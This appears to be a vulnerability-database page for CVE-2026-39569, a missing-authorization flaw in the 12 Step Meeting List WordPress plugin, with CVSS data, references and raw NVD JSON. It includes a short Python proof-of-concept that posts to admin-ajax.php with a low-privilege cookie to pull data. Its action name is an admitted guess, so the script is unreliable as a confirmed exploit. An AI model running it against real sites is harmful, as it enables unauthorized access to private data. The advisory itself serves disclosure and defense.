CVE-2026-39569

Description

Missing Authorization vulnerability in AA Web Servant 12 Step Meeting List 12-step-meeting-list allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects 12 Step Meeting List: from n/a through <= 3.19.9.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

AA Web Servant 12 Step Meeting List <= 3.19.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-39569
# Description: Exploits Missing Authorization to access sensitive data.
import requests

target = "http://target-wordpress-site.com"
vulnerable_endpoint = "/wp-admin/admin-ajax.php"

# Attacker uses a low-privilege user cookie (PR:L)
cookies = {
    "wordpress_logged_in_abc123": "attacker_low_priv_session_id"
}

# Payload targeting the vulnerable action in the plugin
# The specific action name might need to be extracted from the plugin source
data = {
    "action": "tsml_export_data"  # Example action name
}

try:
    response = requests.post(target + vulnerable_endpoint, data=data, cookies=cookies)
    if response.status_code == 200:
        print("[+] Success! Data retrieved:")
        print(response.text)
    else:
        print("[-] Failed to retrieve data.")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39569
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39569
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39569/
[4] VulDB https://vuldb.com/cve/CVE-2026-39569
[5] https://patchstack.com/database/Wordpress/Plugin/12-step-meeting-list/vulnerability/wordpress-12-step-meeting-list-plugin-3-19-9-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39569", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:28.083", "lastModified": "2026-04-24T18:07:25.343", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in AA Web Servant 12 Step Meeting List 12-step-meeting-list allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects 12 Step Meeting List: from n/a through <= 3.19.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/12-step-meeting-list/vulnerability/wordpress-12-step-meeting-list-plugin-3-19-9-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}